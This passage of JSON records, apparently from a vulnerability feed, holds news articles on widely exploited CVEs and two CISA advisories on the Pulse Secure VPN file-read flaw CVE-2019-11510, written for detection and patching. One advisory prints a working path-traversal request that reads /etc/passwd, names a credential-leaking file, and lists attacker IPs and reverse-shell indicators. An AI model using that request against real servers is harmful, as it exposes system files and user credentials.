[Twitter _\uf099_](<https://twitter.com/thehackersnews>) and [LinkedIn](<https://www.linkedin.com/company/thehackernews/>) to read more exclusive content we post.\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2022-01-12T09:14:00", "type": "thn", "title": "FBI, NSA and CISA Warns of Russian Hackers Targeting Critical Infrastructure", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2018-13379", "CVE-2019-10149", "CVE-2019-11510", "CVE-2019-1653", "CVE-2019-19781", "CVE-2019-2725", "CVE-2019-7609", "CVE-2019-9670", "CVE-2020-0688", "CVE-2020-14882", "CVE-2020-4006", "CVE-2020-5902", "CVE-2021-26855", "CVE-2021-26857", "CVE-2021-26858", "CVE-2021-27065"], "modified": "2022-01-12T10:47:49", "id": "THN:3E9680853FA3A677106A8ED8B7AACBE6", "href": "https://thehackernews.com/2022/01/fbi-nsa-and-cisa-warns-of-russian.html", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-05-09T12:39:17", "description": "[](<https://thehackernews.com/images/-_sUoUckANJU/YQJlBsicySI/AAAAAAAADX0/BEDLvJhwqzYImk1o5ewZhnKeXxnoL0D0wCLcBGAsYHQ/s0/Security-Vulnerabilities.jpg>)\n\nIntelligence agencies in Australia, the U.K., and the U.S. issued a joint advisory on Wednesday detailing the most exploited vulnerabilities in 2020 and 2021, once again demonstrating how threat actors are able to swiftly weaponize publicly disclosed flaws to their advantage.\n\n\"Cyber actors continue to exploit publicly known\u2014and often dated\u2014software vulnerabilities against broad target sets, including public and private sector organizations worldwide,\" the U.S. Cybersecurity and Infrastructure Security Agency (CISA), the Australian Cyber Security Centre (ACSC), the United Kingdom's National Cyber Security Centre (NCSC), and the U.S. Federal Bureau of Investigation (FBI) [noted](<https://us-cert.cisa.gov/ncas/alerts/aa21-209a>).\n\n\"However, entities worldwide can mitigate the vulnerabilities listed in this report by applying the available patches to their systems and implementing a centralized patch management system.\"\n\nThe top 30 vulnerabilities span a wide range of software, including remote work, virtual private networks (VPNs), and cloud-based technologies, that cover a broad spectrum of products from Microsoft, VMware, Pulse Secure, Fortinet, Accellion, Citrix, F5 Big IP, Atlassian, and Drupal.\n\nThe most routinely exploited flaws in 2020 are as follows -\n\n * [**CVE-2019-19781**](<https://nvd.nist.gov/vuln/detail/CVE-2019-19781>) (CVSS score: 9.8) - Citrix Application Delivery Controller (ADC) and Gateway directory traversal vulnerability\n * [**CVE-2019-11510**](<https://nvd.nist.gov/vuln/detail/CVE-2019-11510>) (CVSS score: 10.0) - Pulse Connect Secure arbitrary file reading vulnerability\n * [**CVE-2018-13379**](<https://nvd.nist.gov/vuln/detail/CVE-2018-13379>) (CVSS score: 9.8) - Fortinet FortiOS path traversal vulnerability leading to system file leak\n * [**CVE-2020-5902**](<https://nvd.nist.gov/vuln/detail/CVE-2020-5902>) (CVSS score: 9.8) - F5 BIG-IP remote code execution vulnerability\n * [**CVE-2020-15505**](<https://nvd.nist.gov/vuln/detail/CVE-2020-15505>) (CVSS score: 9.8) - MobileIron Core & Connector remote code execution vulnerability\n * [**CVE-2020-0688**](<https://nvd.nist.gov/vuln/detail/CVE-2020-0688>) (CVSS score: 8.8) - Microsoft Exchange memory corruption vulnerability\n * [**CVE-2019-3396**](<https://nvd.nist.gov/vuln/detail/CVE-2019-3396>) (CVSS score: 9.8) - Atlassian Confluence Server remote code execution vulnerability\n * [**CVE-2017-11882**](<https://nvd.nist.gov/vuln/detail/CVE-2017-11882>) (CVSS score: 7.8) - Microsoft Office memory corruption vulnerability\n * [**CVE-2019-11580**](<https://nvd.nist.gov/vuln/detail/CVE-2019-11580>) (CVSS score: 9.8) - Atlassian Crowd and Crowd Data Center remote code execution vulnerability\n * [**CVE-2018-7600**](<https://nvd.nist.gov/vuln/detail/CVE-2018-7600>) (CVSS score: 9.8) - Drupal remote code execution vulnerability\n * [**CVE-2019-18935**](<https://nvd.nist.gov/vuln/detail/CVE-2019-18935>) (CVSS score: 9.8) - Telerik .NET deserialization vulnerability resulting in remote code execution\n * [**CVE-2019-0604**](<https://nvd.nist.gov/vuln/detail/CVE-2019-0604>) (CVSS score: 9.8) - Microsoft SharePoint remote code execution vulnerability\n * [**CVE-2020-0787**](<https://nvd.nist.gov/vuln/detail/CVE-2020-0787>) (CVSS score: 7.8) - Windows Background Intelligent Transfer Service (BITS) elevation of privilege vulnerability\n * [**CVE-2020-1472**](<https://nvd.nist.gov/vuln/detail/CVE-2020-1472>) (CVSS score: 10.0) - Windows [Netlogon elevation of privilege](<https://thehackernews.com/2021/02/microsoft-issues-patches-for-in-wild-0.html>) vulnerability\n\nThe list of vulnerabilities that have come under active attack thus far in 2021 are listed below -\n\n * [Microsoft Exchange Server](<https://thehackernews.com/2021/03/urgent-4-actively-exploited-0-day-flaws.html>): [CVE-2021-26855](<https://nvd.nist.gov/vuln/detail/CVE-2021-26855>), [CVE-2021-26857](<https://nvd.nist.gov/vuln/detail/CVE-2021-26857>), [CVE-2021-26858](<https://nvd.nist.gov/vuln/detail/CVE-2021-26858>), and [CVE-2021-27065](<https://nvd.nist.gov/vuln/detail/CVE-2021-27065>) (aka \"ProxyLogon\")\n * [Pulse Secure](<https://thehackernews.com/2021/05/new-high-severity-vulnerability.html>): [CVE-2021-22893](<https://nvd.nist.gov/vuln/detail/CVE-2021-22893>), [CVE-2021-22894](<https://nvd.nist.gov/vuln/detail/CVE-2021-22894>), [CVE-2021-22899](<https://nvd.nist.gov/vuln/detail/CVE-2021-22899>), and [CVE-2021-22900](<https://nvd.nist.gov/vuln/detail/CVE-2021-22900>)\n * [Accellion](<https://thehackernews.com/2021/03/extortion-gang-breaches-cybersecurity.html>): [CVE-2021-27101](<https://nvd.nist.gov/vuln/detail/CVE-2021-27101>), [CVE-2021-27102](<https://nvd.nist.gov/vuln/detail/CVE-2021-27102>), [CVE-2021-27103](<https://nvd.nist.gov/vuln/detail/CVE-2021-27103>), and [CVE-2021-27104](<https://nvd.nist.gov/vuln/detail/CVE-2021-27104>)\n * [VMware](<https://thehackernews.com/2021/06/alert-critical-rce-bug-in-vmware.html>): [CVE-2021-21985](<https://nvd.nist.gov/vuln/detail/CVE-2021-21985>)\n * Fortinet: [CVE-2018-13379](<https://nvd.nist.gov/vuln/detail/CVE-2018-13379>), [CVE-2020-12812](<https://nvd.nist.gov/vuln/detail/CVE-2020-12812>), and [CVE-2019-5591](<https://nvd.nist.gov/vuln/detail/CVE-2019-5591>)\n\nThe development also comes a week after MITRE [published](<https://cwe.mitre.org/top25/archive/2021/2021_cwe_top25.html>) a list of top 25 \"most dangerous\" software errors that could lead to serious vulnerabilities that could be exploited by an adversary to take control of an affected system, obtain sensitive information, or cause a denial-of-service condition.\n\n\"The advisory [...] puts the power in every organisation's hands to fix the most common vulnerabilities, such as unpatched VPN gateway devices,\" NCSC Director for Operations, Paul Chichester, [said](<https://www.ncsc.gov.uk/news/global-cyber-vulnerabilities-advice>), urging the need to prioritize patching to minimize the risk of being exploited by malicious actors.\n\n \n\n\nFound this article interesting? Follow THN on [Facebook](<https://www.facebook.com/thehackernews>), [Twitter _\uf099_](<https://twitter.com/thehackersnews>) and [LinkedIn](<https://www.linkedin.com/company/thehackernews/>) to read more exclusive content we post.\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2021-07-29T08:21:00", "type": "thn", "title": "Top 30 Critical Security Vulnerabilities Most Exploited by Hackers", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2017-11882", "CVE-2018-13379", "CVE-2018-7600", "CVE-2019-0604", "CVE-2019-11510", "CVE-2019-11580", "CVE-2019-18935", "CVE-2019-19781", "CVE-2019-3396", "CVE-2019-5591", "CVE-2020-0688", "CVE-2020-0787", "CVE-2020-12812", "CVE-2020-1472", "CVE-2020-15505", "CVE-2020-5902", "CVE-2021-21985", "CVE-2021-22893", "CVE-2021-22894", "CVE-2021-22899", "CVE-2021-22900", "CVE-2021-26855", "CVE-2021-26857", "CVE-2021-26858", "CVE-2021-27065", "CVE-2021-27101", "CVE-2021-27102", "CVE-2021-27103", "CVE-2021-27104"], "modified": "2021-08-04T09:03:14", "id": "THN:B95DC27A89565323F0F8E6350D24D801", "href": "https://thehackernews.com/2021/07/top-30-critical-security.html", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}], "ics": [{"lastseen": "2023-03-14T18:37:13", "description": "### Summary\n\nUnpatched Pulse Secure VPN servers continue to be an attractive target for malicious actors. Affected organizations that have not applied the software patch to fix an arbitrary file reading vulnerability, known as CVE-2019-11510, can become compromised in an attack. [[1]](<https://nvd.nist.gov/vuln/detail/CVE-2019-11510>)\n\nAlthough Pulse Secure [[2]](<https://kb.pulsesecure.net/articles/Pulse_Security_Advisories/SA44101/>) disclosed the vulnerability and provided software patches for the various affected products in April 2019, the Cybersecurity and Infrastructure Security Agency (CISA) continues to observe wide exploitation of CVE-2019-11510. [[3]](<https://www.kb.cert.org/vuls/id/927237/ >) [[4]](<https://www.us-cert.gov/ncas/current-activity/2019/07/26/vulnerabilities-multiple-vpn-applications >) [[5]](<https://www.us-cert.gov/ncas/current-activity/2019/10/16/multiple-vulnerabilities-pulse-secure-vpn>)\n\nCISA expects to see continued attacks exploiting unpatched Pulse Secure VPN environments and strongly urges users and administrators to upgrade to the corresponding fixes. [[6]](<https://kb.pulsesecure.net/articles/Pulse_Security_Advisories/SA44101/>)\n\n## Timelines of Specific Events\n\n * April 24, 2019 \u2013 Pulse Secure releases initial advisory and software updates addressing multiple vulnerabilities.\n * May 28, 2019 \u2013 Large commercial vendors get reports of vulnerable VPN through HackerOne.\n * July 31, 2019 \u2013 Full use of exploit demonstrated using the admin session hash to get complete shell.\n * August 8, 2019 \u2013 Meh Chang and Orange Tsai demonstrate the VPN issues across multiple vendors (Pulse Secure) with detailed attack on active VPN exploitation.\n * August 24, 2019 \u2013 Bad Packets identifies over 14,500 vulnerable VPN servers globally still unpatched and in need of an upgrade.\n * October 7, 2019 \u2013 The National Security Agency (NSA) produces a Cybersecurity Advisory on Pulse Secure and other VPN products being targeted actively by advanced persistent threat actors.\n * October 16, 2019 \u2013 The CERT Coordination Center (CERT/CC) releases Vulnerability Note VU#927237: Pulse Secure VPN contains multiple vulnerabilities.\n * January 2020 \u2013 Media reports cybercriminals now targeting unpatched Pulse Secure VPN servers to install REvil (Sodinokibi) ransomware. \n\n### Technical Details\n\n## Impact\n\nA remote, unauthenticated attacker may be able to compromise a vulnerable VPN server. The attacker may be able to gain access to all active users and their plain-text credentials. It may also be possible for the attacker to execute arbitrary commands on each VPN client as it successfully connects to the VPN server.\n\nAffected versions:\n\n * Pulse Connect Secure 9.0R1 - 9.0R3.3\n * Pulse Connect Secure 8.3R1 - 8.3R7\n * Pulse Connect Secure 8.2R1 - 8.2R12\n * Pulse Connect Secure 8.1R1 - 8.1R15\n * Pulse Policy Secure 9.0R1 - 9.0R3.1\n * Pulse Policy Secure 5.4R1 - 5.4R7\n * Pulse Policy Secure 5.3R1 - 5.3R12\n * Pulse Policy Secure 5.2R1 - 5.2R12\n * Pulse Policy Secure 5.1R1 - 5.1R15\n\n### Mitigations\n\nThis vulnerability has no viable workarounds except for applying the patches provided by the vendor and performing required system updates.\n\nCISA strongly urges users and administrators to upgrade to the corresponding fixes. [[7]](<https://kb.pulsesecure.net/articles/Pulse_Security_Advisories/SA44101/>)\n\n### References\n\n[[1] NIST NVD CVE-2019-11510 ](<https://nvd.nist.gov/vuln/detail/CVE-2019-11510>)\n\n[[2] Pulse Secure Advisory SA44101](<https://kb.pulsesecure.net/articles/Pulse_Security_Advisories/SA44101/>)\n\n[[3] CERT/CC Vulnerability Note VU#927237](<https://www.kb.cert.org/vuls/id/927237/>)\n\n[[4] CISA Current Activity Vulnerabilities in Multiple VPN Applications ](<https://www.us-cert.gov/ncas/current-activity/2019/07/26/vulnerabilities-multiple-vpn-applications>)\n\n[[5] CISA Current Activity Multiple Vulnerabilities in Pulse Secure VPN](<https://www.us-cert.gov/ncas/current-activity/2019/10/16/multiple-vulnerabilities-pulse-secure-vpn>)\n\n[[6] Pulse Secure Advisory SA44101](<https://kb.pulsesecure.net/articles/Pulse_Security_Advisories/SA44101/>)\n\n[[7] Pulse Secure Advisory SA44101](<https://kb.pulsesecure.net/articles/Pulse_Security_Advisories/SA44101/>)\n\n### Revisions\n\nJanuary 10, 2020: Initial Version|April 15, 2020: Revised to correct type of vulnerability\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2020-04-15T12:00:00", "type": "ics", "title": "Continued Exploitation of Pulse Secure VPN Vulnerability", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-11510"], "modified": "2020-04-15T12:00:00", "id": "AA20-010A", "href": "https://www.cisa.gov/news-events/cybersecurity-advisories/aa20-010a", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-03-14T18:35:59", "description": "### Summary\n\n_**Note: ** This Activity Alert uses the MITRE Adversarial Tactics, Techniques, and Common Knowledge (ATT&CK\u00ae) framework. See the [ATT&CK for Enterprise](<https://attack.mitre.org/versions/v7/matrices/enterprise/>) framework for all referenced threat actor techniques and mitigations._\n\nThis Alert provides an update to Cybersecurity and Infrastructure Security Agency (CISA) [Alert AA20-010A: Continued Exploitation of Pulse Secure VPN Vulnerability](<https://www.us-cert.gov/ncas/alerts/aa20-010a>), which advised organizations to immediately patch CVE-2019-11510\u2014an arbitrary file reading vulnerability affecting Pulse Secure virtual private network (VPN) appliances.[[1]](<https://kb.pulsesecure.net/articles/Pulse_Security_Advisories/SA44101>) CISA is providing this update to alert administrators that threat actors who successfully exploited CVE-2019-11510 and stole a victim organization\u2019s credentials will still be able to access\u2014and move laterally through\u2014that organization\u2019s network after the organization has patched this vulnerability if the organization did not change those stolen credentials.\n\nThis Alert provides new detection methods for this activity, including a [CISA-developed tool](<https://github.com/cisagov/check-your-pulse>) that helps network administrators search for indicators of compromise (IOCs) associated with exploitation of CVE-2019-11510. This Alert also provides mitigations for victim organizations to recover from attacks resulting from CVE-2019-11510. CISA encourages network administrators to remain aware of the ramifications of exploitation of CVE-2019-11510 and to apply the detection measures and mitigations provided in this report to secure networks against these attacks.\n\nFor a downloadable copy of IOCs, see STIX file.\n\n## Background\n\nCISA has conducted multiple incident response engagements at U.S. Government and commercial entities where malicious cyber threat actors have exploited CVE-2019-11510\u2014an arbitrary file reading vulnerability affecting Pulse Secure VPN appliances\u2014to gain access to victim networks. Although Pulse Secure released patches for CVE-2019-11510 in April 2019,[[2]](<https://kb.pulsesecure.net/articles/Pulse_Security_Advisories/SA44101>) CISA has observed incidents where compromised Active Directory credentials were used months after the victim organization patched their VPN appliance.\n\n### Technical Details\n\nCISA determined that cyber threat actors have been able to obtain plaintext Active Directory credentials after gaining _Initial Access_ [[TA0001]](<https://attack.mitre.org/versions/v7/tactics/TA0001/>) to a victim organization\u2019s network via VPN appliances. Cyber threat actors used these _Valid Accounts_ [[T1078]](<https://attack.mitre.org/versions/v7/techniques/T1078/>) in conjunction with:\n\n * _External Remote Services_ [[T1133]](<https://attack.mitre.org/versions/v7/techniques/T1133>) for access,\n * _Remote Services_ [[T1021]](<https://attack.mitre.org/versions/v7/techniques/T1021>) for _Lateral Movement _[[TA0008]](<https://attack.mitre.org/versions/v7/tactics/TA0008/>) to move quickly throughout victim network environments, and\n * _Data Encrypted for Impact_ [[T1486 ]](<https://attack.mitre.org/versions/v7/techniques/T1486>) for impact, as well as\n * _Exfiltration _[[TA0010]](<https://attack.mitre.org/versions/v7/tactics/TA0010/>) and sale of the data.\n\n### Initial Access\n\nCVE-2019-11510 is a pre-authentication arbitrary file read vulnerability affecting Pulse Secure VPN appliances. A remote attacker can exploit this vulnerability to request arbitrary files from a VPN server. The vulnerability occurs because directory traversal is hard coded to be allowed if the path contains `dana/html5/acc`.[[3]](<https://twitter.com/XMPPwocky/status/1164874297690611713/photo/1>),[[4]](<https://opensecurity.global/forums/topic/184-pulse-secure-ssl-vpn-vulnerability-being-exploited-in-wild/?do=findComment&comment=848>) For example, a malicious cyber actor can obtain the contents of `/etc/passwd` [[5]](<https://github.com/BishopFox/pwn-pulse/blob/master/pwn-pulse.sh>) by requesting the following uniform resource identifier (URI):\n\n`https://vulnvpn.example[.]com/dana-na/../dana/html5/acc/guacamole/../../../../../../../etc/passwd?/dana/html5acc/guacamole/`\n\nObtaining the contents of `/etc/passwd` gives the attacker access to basic information about local system accounts. This request was seen in the proof of concept (POC) code for this exploit on [Github](<https://github.com/BishopFox/pwn-pulse/blob/master/pwn-pulse.sh>). An attacker can also leverage the vulnerability to access other files that are useful for remote exploitation. By requesting the data.mdb object, an attacker can leak plaintext credentials of enterprise users.[[6]](<https://www.exploit-db.com/exploits/47297>),[[7]](<https://twitter.com/alyssa_herrera_/status/1164089995193225216?s=11>),[[8]](<https://opensecurity.global/forums/topic/184-pulse-secure-ssl-vpn-vulnerability-being-exploited-in-wild/?do=findComment&comment=848>)\n\nOpen-source reporting indicates that cyber threat actors can exploit CVE-2019-11510 to retrieve encrypted passwords;[[9]](<https://opensecurity.global/forums/topic/184-pulse-secure-ssl-vpn-vulnerability-being-exploited-in-wild/?tab=comments#comment-887>) however, CISA has not observed this behavior. By reviewing victim VPN appliance logs, CISA has noted cyber threat actors crafting requests that request files that allow for _Credential Dumping_ [[T1003]](<https://attack.mitre.org/versions/v7/techniques/T1003>) plaintext passwords from the VPN appliance.\n\n### Test Environment\n\nTo confirm the open-source reporting and validate what the cyber threat actors had access to, CISA used a test environment to send crafted requests. CISA used requests found both in proof-of-concept, open-source code and in requests from the logs of compromised victims. By doing so, CISA confirmed that plaintext Active Directory credentials were leaked and that it was possible to leak the local admin password to the VPN appliance. (See figure 1.)\n\n\n\n##### Figure 1: Exploitation of the VPN appliance leading to plaintext local admin credentials\n\nCISA\u2019s test environment consisted of a domain controller (DC) running Windows Server 2016, an attacker machine, and a Pulse Secure VPN appliance version 9.0R3 (build 64003). CISA connected the attacker machine to the external interface of the Pulse Secure VPN appliance and the DC to the internal interface.\n\nCISA created three accounts for the purpose of validating the ability to compromise them by exploiting CVE-2019-11510.\n\n * Local Pulse Secure Admin account \n * Username: `admin`; Password: `pulse-local-password`\n * Domain Administrator Account \n * Username: `Administrator`; Password: `domain-admin-password1`\n * CISA-test-user Account \n * Username: `cisa-test-user`; Password: `Use_s3cure_passwords`\n\nAfter creating the accounts, CISA joined the VPN appliance to the test environment domain, making a point not to cache the domain administrator password. (See figure 2.)\n\n\n\n##### Figure 2: VPN appliance joined to the domain without caching the domain administrator password\n\nCISA used a similar file inclusion to test the ability to _Credential Dump _[[T1003]](<https://attack.mitre.org/versions/v7/techniques/T1003>) the domain administrator password. CISA determined it was possible to leak the domain administrator password that was used to join the device to the domain without saving the credentials. Refer to figure 3 for the URI string tested by CISA.\n\n\n\n##### Figure 3: Exploitation of the VPN appliance leading to cleartext domain admin credentials\n\nNext, CISA validated the ability to _Credential Dump _[[T1003]](<https://attack.mitre.org/versions/v7/techniques/T1003>) a user password from the VPN appliance. To do this, CISA created a _user realm _(Pulse Secure configuration terminology) and configured its roles/resource groups to allow for Remote Desktop Protocol (RDP) over HTML5 (Apache Guacamole). After using the new user to remotely access an internal workstation over RDP, CISA used a crafted request (see figure 4) to leak the credentials from the device. (**Note:** the path to stored credentials is publicly available.)[[10]](<https://twitter.com/alyssa_herrera_/status/1164089995193225216?s=11>)\n\n\n\n##### Figure 4: Exploitation of the VPN appliance leading to plaintext user credentials\n\nThis test confirmed CISA\u2019s suspicion that threat actors had access to each of the various compromised environments.\n\n### Cyber Threat Actor Behavior in Victim Network Environments\n\nCISA observed\u2014once credentials were compromised\u2014cyber threat actors accessing victim network environments via the Pulse Secure VPN appliances. Cyber threat actors used _Connection Proxies _[[T1090 ]](<https://attack.mitre.org/versions/v7/techniques/T1090>)\u2014such as Tor infrastructure and virtual private servers (VPSs)\u2014to minimize the chance of detection when they connected to victim VPN appliances.\n\nUsing traditional host-based analysis, CISA identified the following malicious cyber actor actions occurring in a victim\u2019s environment:\n\n * Creating persistence via scheduled tasks/remote access trojans\n * Amassing files for exfiltration\n * Executing ransomware on the victim\u2019s network environment\n\nBy correlating these actions with the connection times and user accounts recorded in the victim\u2019s Pulse Secure `.access` logs, CISA was able to identify unauthorized threat actor connections to the victim\u2019s network environment. CISA was then able to use these Internet Protocol (IP) addresses and user-agents to identify unauthorized connections to the network environments of other victims. Refer to the Indicators of Compromise section for the IP addresses CISA observed making these unauthorized connections.\n\nIn one case, CISA observed a cyber threat actor attempting to sell the stolen credentials after 30 unsuccessful attempts to connect to the customer environment to escalate privileges and drop ransomware. CISA has also observed this threat actor successfully dropping ransomware at hospitals and U.S. Government entities.\n\nIn other cases, CISA observed threat actors leveraging tools, such as LogMeIn and TeamViewer, for persistence. These tools would enable threat actors to maintain access to the victim\u2019s network environment if they lost their primary connection.\n\n### Initial Detection\n\nConventional antivirus and endpoint detection and response solutions did not detect this type of activity because the threat actors used legitimate credentials and remote services. \n\nAn intrusion detection system may have noticed the exploitation of CVE-2019-11510 if the sensor had visibility to the external interface of the VPN appliance (possible in a customer\u2019s demilitarized zone) and if appropriate rules were in place. Heuristics in centralized logging may have been able to detect logins from suspicious or foreign IPs, if configured.\n\n### Post-Compromise Detection and IOC Detection Tool\n\nGiven that organizations that have applied patches for CVE-2019-11510 may still be at risk for exploitation from compromises that occurred pre-patch, CISA developed detection methods for organizations to determine if their patched VPN appliances have been targeted by the activity revealed in this report.\n\nTo detect past exploitation of CVE-2019-11510, network administrators should:\n\n 1. Turn on unauthenticated log requests (see figure 5). (**Note:** there is a risk of overwriting logs with unauthenticated requests so, if enabling this feature, be sure to frequently back up logs; if possible, use a remote syslog server.) \n\n\n\n##### Figure 5: Checkbox that enables logging exploit attacks\n\n 2. Check logs for exploit attempts. To detect lateral movement, system administrators should look in the logs for strings such as` ../../../data `(see figure 6). \n\n\n\n##### Figure 6: Strings for detection of lateral movement\n\n 3. Manually review logs for unauthorized sessions and exploit attempts, especially sessions originating from unexpected geo-locations.\n 4. Run CISA\u2019s IOC detection tool. CISA developed a tool that enables administrators to triage logs (if authenticated request logging is turned on) and automatically search for IOCs associated with exploitation of CVE-2019-11510. CISA encourages administrators to visit [CISA\u2019s GitHub page](<https://github.com/cisagov/check-your-pulse>) to download and run the tool. While not exhaustive, this tool may find evidence of attempted compromise.\n\n### Indicators of Compromise\n\nCISA observed IP addresses making unauthorized connections to customer infrastructure. (**Note:** these IPs were observed as recently as February 15, 2020.) The IP addresses seen making unauthorized connections to customer infrastructure were different than IP addresses observed during initial exploitation. Please see the STIX file below for IPs.\n\nCISA observed the following user agents with this activity:\n\n * Mozilla/5.0 (Windows NT 6.1; rv:60.0) Gecko/20100101 Firefox/60.0\n * Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0\n * Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55[.]0.2883.87 Safari/537.36\n\nCISA also observed:\n\n * A cyber threat actor renaming portable executable (PE) files in an attempt to subvert application allow listing or antivirus (AV) protections. See table 1 for hashes of files used.\n * A threat actor \u201cliving off the land\u201d and utilizing C:\\Python\\ArcGIS to house malicious PE files, as well as using natively installed Python.\n * A threat actor attack infrastructure: 38.68.36(dot)112 port 9090 and 8088\n\n##### Table 1: Filenames and hashes of files used by a threat actor\n\nFilename | MD5 \n---|--- \nt.py (tied to scheduled task, python meterpreter reverse shell port 9090) | 5669b1fa6bd8082ffe306aa6e597d7f5 \ng.py (tied to scheduled task, python meterpreter reverse shell port 8088) | 61eebf58e892038db22a4d7c2ee65579 \n \nFor a downloadable copy of IOCs, see STIX file.\n\n### Mitigations\n\nCISA strongly urges organizations that have not yet done so to upgrade their Pulse Secure VPN to the corresponding patches for CVE-2019-11510. If\u2014after applying the detection measures in this alert\u2014organizations detect evidence of CVE-2019-11510 exploitation, CISA recommends changing passwords for all Active Directory accounts, including administrators and services accounts.\n\nCISA also recommends organizations to:\n\n * Look for unauthorized applications and scheduled tasks in their environment.\n * Remove any remote access programs not approved by the organization.\n * Remove any remote access trojans.\n * Carefully inspect scheduled tasks for scripts or executables that may allow an attacker to connect to an environment.\n\nIf organizations find evidence of malicious, suspicious, or anomalous activity or files, they should consider reimaging the workstation or server and redeploying back into the environment. CISA recommends performing checks to ensure the infection is gone even if the workstation or host has been reimaged.\n\n### Contact Information\n\nRecipients of this report are encouraged to contribute any additional information that they may have related to this threat. For any questions related to this report, please contact CISA at\n\n * Phone: (888) 282-0870\n * Email: [CISAServiceDesk@cisa.dhs.gov](<mailto:CISAServiceDesk@cisa.dhs.gov>)\n\n### References\n\n[[1] Pulse Secure Advisory SA44101 ](<https://kb.pulsesecure.net/articles/Pulse_Security_Advisories/SA44101>)\n\n[[2] Pulse Secure Advisory SA44101](<https://kb.pulsesecure.net/articles/Pulse_Security_Advisories/SA44101>)\n\n[[3] Twitter. @XMPPwocky. (2019, August 23). Your least favorite construct ](<https://twitter.com/XMPPwocky/status/1164874297690611713/photo/1>)\n\n[[4] OpenSecurity Forums. Public vulnerability discussion. (2019, August 23). ](<https://opensecurity.global/forums/topic/184-pulse-secure-ssl-vpn-vulnerability-being-exploited-in-wild/?do=findComment&comment=848>)\n\n[[5] GitHub. BishopFox / pwn-pulse. ](<https://github.com/BishopFox/pwn-pulse/blob/master/pwn-pulse.sh>)\n\n[[6] File disclosure in Pulse Secure SSL VPN (Metasploit) ](<https://www.exploit-db.com/exploits/47297>)\n\n[[7] Twitter. @alyssa_herra ](<https://twitter.com/alyssa_herrera_/status/1164089995193225216?s=11>)\n\n[[8] OpenSecurity Forums. Public vulnerability discussion. (2019, August 23). ](<https://opensecurity.global/forums/topic/184-pulse-secure-ssl-vpn-vulnerability-being-exploited-in-wild/?do=findComment&comment=848>)\n\n[[9] OpenSecurity Forums. Public vulnerability discussion. (2019, August 31). ](<https://opensecurity.global/forums/topic/184-pulse-secure-ssl-vpn-vulnerability-being-exploited-in-wild/?tab=comments#comment-887>)\n\n[[10] Twitter. @alyssa_herra](<https://twitter.com/alyssa_herrera_/status/1164089995193225216?s=11>)\n\n### Revisions\n\nApril 16, 2020: Initial Version|October 23, 2020\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2020-10-24T12:00:00", "type": "ics", "title": "Continued Threat Actor Exploitation Post Pulse Secure VPN Patching", "bulletinFamily": "info", 